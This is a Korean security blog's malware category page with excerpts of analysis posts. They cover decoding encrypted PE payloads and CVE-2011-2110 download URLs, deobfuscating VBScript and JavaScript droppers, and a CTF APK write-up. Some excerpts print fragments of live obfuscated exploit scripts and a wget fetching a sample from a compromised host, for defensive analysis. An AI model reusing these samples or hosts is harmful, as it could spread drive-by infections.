Category: Malware

Extracting EXE Drop Malware

평소 생각만 하고 언젠가 한번쯤 코딩해봐야지 했던 도구였는데 우연히 보게 되었다. 이 스크립트는 주로 타켓 공격에 많이 이용되는 PDF나 DOC 등 문서 파일의 취약점을 이용하여 악성코드를 감염시킬 때, 만약 문서파일 내부에 악성 PE파일이 있을 경우 뽑아주는 스크립트 이다. 물론 파일 내부에 삽입하지 않고 외부에서 다운로드 받아 실행하는 쉘코드가 들어가 있는 경우도 있지만 경험 상 PE파일이 …

암호화 된 PE 파일 디코딩 및 CVE-2011-2110 취약점 관련 URL 분석 페이지

최근 웹사이트에서 전파되는 악성코드 중 대부분이 Adobe Flash Player 취약점 (CVE-2011-2110) 을 이용합니다.대부분 "main.swf?info=인자" 형태로 구성되어 있는데 이때 인자를 디코딩 해주는 페이지를 기존 암호화된 PE 파일을 복호화 해주는 페이지에 추가하였습니다. 왼쪽 XOR DECODER 링크에서 확인하실 수 있으며 기능은 아래와 같습니다. 1) 암호화된 PE 파일 복호화 루틴Stage 1 – ADD&XOR, XOR 로 PE 파일이 암호화 된 …

Visual Basic 난독화 스크립트 해제 팁

일반적으로 Autorun 계열 악성코드가 많으며 난독화 되어있는 경우 아래와 같이 Execute 로 실행하도록 되어 있다.[code]Execute (chr( 659772/8046 ) blahblahblah…… )[/code] 따라서 이부분을 아래와 같이 변경하면 얼랏창으로 확인이 가능하다.[code]wscript.echo (chr( 659772/8046 ) blahblahblah…… )[/code] 또는 아래와 같이 수정하여 사용하여도 무방하다.[code]Dim consoleSet console = WScript.StdOutconsole.WriteLine (chr( 659772/8046 ) blahblahblah…… )[/code]

zlib으로 압축된 URL 확인하는 코드 (CVE-2011-2110 관련)

최근 CVE-2011-2110 취약점을 이용하여 악성코드를 유포하는 내용을 살펴보면 악성코드를 다운로드 받는 URL이 이전과는 조금 다르게 암호화 되어 있다. XOR은 기본이며, XOR 후 zlib으로 압축되어 있는데 해당 URL을 찾기 편하게 간단하게 스크립트로 짜보았다. [code lang-python]#!/usr/bin/env python# –– coding: utf-8 ––import zlib, operator, sys, os # info 변수 인자값에서 URL XOR zlib 키 찾는 함수def findkey(info):    …

CVE-2011-0611 분석 :: Drive-By-Cache Infections

최근에 Adobe Flash 취약점 (CVE-2011-0611) 이 발표되었다. 그리고 해당 취약점은 지난 주말에 악성코드 유포에 이용되어 국내에 관련 악성코드 피해건수가 꽤나 높게 나왔다. 이번에 해당 취약점을 분석하면서 흥미로운 포스팅을 하나 보았다. 기존 웹을 통해 유포되는 악성코드는 대부분 취약점을 통해 쉘코드를 실행하는데, 이 쉘코드는 대부분 악성코드를 Download & Excute 하는 쉘코드이다. 하지만 이번에 이용된 쉘코드는 기존과 달랐다. …

새로운 XOR 암호화 루틴

최근에 새로운 루틴으로 암호화 하는 형태를 발견하여 분석 하였습니다. 코드를 확인한 결과 기존에 작성했던 스크립트로는 복호화가 되지 않아 조금 수정하였습니다.(기존에 작업한 스크립트 : http://jjoon.net/tc/141) 수정한 코드로 작업한 내용입니다.[code lang-bash]D:\Python Programming\Python Code\Malware\Script Analysis>wget http://wkmf.swim.org/bbs/images/top.gif–2011-04-07 00:06:33–  http://wkmf.swim.org/bbs/images/top.gifResolving wkmf.swim.org (wkmf.swim.org)… 121.189.59.232Connecting to wkmf.swim.org (wkmf.swim.org)|121.189.59.232|:80… connected.HTTP request sent, awaiting response… 200 OKLength: 74556 (73K) [image/gif]Saving to: top.gif'<br><br>100%[========================================================================================>] 74,556   …

Encrypt By Dadong’s JSXX 난독화 해제 방법

최근 국내에 삽입되는 악성스크립트 중 "Encrypt By Dadong’s JSXX 버전명 VIP" 이란 주석이 포함된 난독화 된 스크립트가 확인되어 디코딩 하는 방법에 대해 작성해 보도록 하겠습니다. 우선 0.31 버전부터 살펴보도록 하겠습니다.[code]<html><body> <button id=’yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp’ onclick=’WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe();’ style=’display:none’></button> <script language=’javascript’> var bak, bak1, bak2, bak3, bak4; bak=’%’;var wud=’%’;var tihs=’%’;var jj=bak+’u’+’4B5B’;var lzg=’%’; bak1=’u’; wud+=’u’; tihs+=’u’;var kk=bak+’u’+’CD36′;lzg+=’u’; bak2=’58’;wud+=’B’; tihs+=’B’;var ll=bak+’u’+’BD8F’;lzg+=’B’; bak3=bak+bak1+’5′; …

UCS2 shellcode를 hex로 변환 후 문자열 확인

리눅스 머신에서 쉘코드에서 문자열 확인할 때 편하게 하고자 작성한 스크립트 입니다. 작성하고 사용하다 보니 최근 국내에 삽입되는 온라인게임핵 관련 악성코드는 XOR로 악성코드를 다운로드 받는 URL이 암호화 되어 있는데 이걸 좀 더 쉽게 찾을 수 있는 방법이 되기도 하네요…[code lang-python]#!/usr/bin/env pythonimport sys shellcode = sys.argv[1]paser = shellcode.split(‘%u’) output = ”for x in paser:    if x …

2010년 HUST 대회 PROBLEM_L (안드로이드 관련) 풀이

2010년 HUST 대회에서 안드로이드에서 사용되는 APK 파일 관련 문제가 나와서 풀이를 작성합니다.이 풀이를 통해 APK 파일을 분석하는 방법에 대해 간단하게 나마 적고자 합니다. [분석 첫번째 방법 – apktool 이용]1. android-apktool 툴이란게 있습니다. 해당 툴을 다운로드 합니다.다운로드 : http://code.google.com/p/android-apktool/ 2. 다운로드 받은 파일을 압축을 해제하면 apktool.bat 파일이 존재합니다. 아래와 같은 명령어를 통해 APK 파일을 풉니다.apktool.bat d …

악성 스크립트 디코딩 (window[“eval”] blahblah….)

최근 난독화 중 아래와 같이 난독화 된 코드를 좀 더 편하게 풀 수 있는 방법을 확인하다 아래와 같이 하면 되는것을 확인하여 기록합니다.(별거 아닌 팁 -_-)[code]window["eval"](function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3"toString"};if(!”"replace"){while(iQLyacc3–){PgTEsQ6[iQLyacc3"toString"]=EL4[iQLyacc3]||iQLyacc3"toString"}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return’\w+’};iQLyacc3=1};while(iQLyacc3–){if(EL4[iQLyacc3]){G_OGr1=G_OGr1["replace"](new window"RegExp",EL4[iQLyacc3])}}return G_OGr1}(‘9 a(){8();7 0=4.5(\’6\’);0.b(\’#c#i\’);4.f(0);d{0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1);0.2(\’3\’,1)}h(e){}1.g+=\’\’}’,19,19,’a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData’"split",0,{}))[/code] 위와 같이 난독화 되어 있는 코드는 우선 아래와 같은 순서로 Replace 해줍니다.1. /window["//g2. /"]//g3. /["/./g 이렇게 바꾸고 나면 아래와 같은 코드로 변하게 됩니다.[code]eval(function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3.toString(36)};if(!”.replace(/^/,String)){while(iQLyacc3–){PgTEsQ6[iQLyacc3.toString(HG2)]=EL4[iQLyacc3]||iQLyacc3.toString(HG2)}EL4=[function(bsKZR_ek5){return …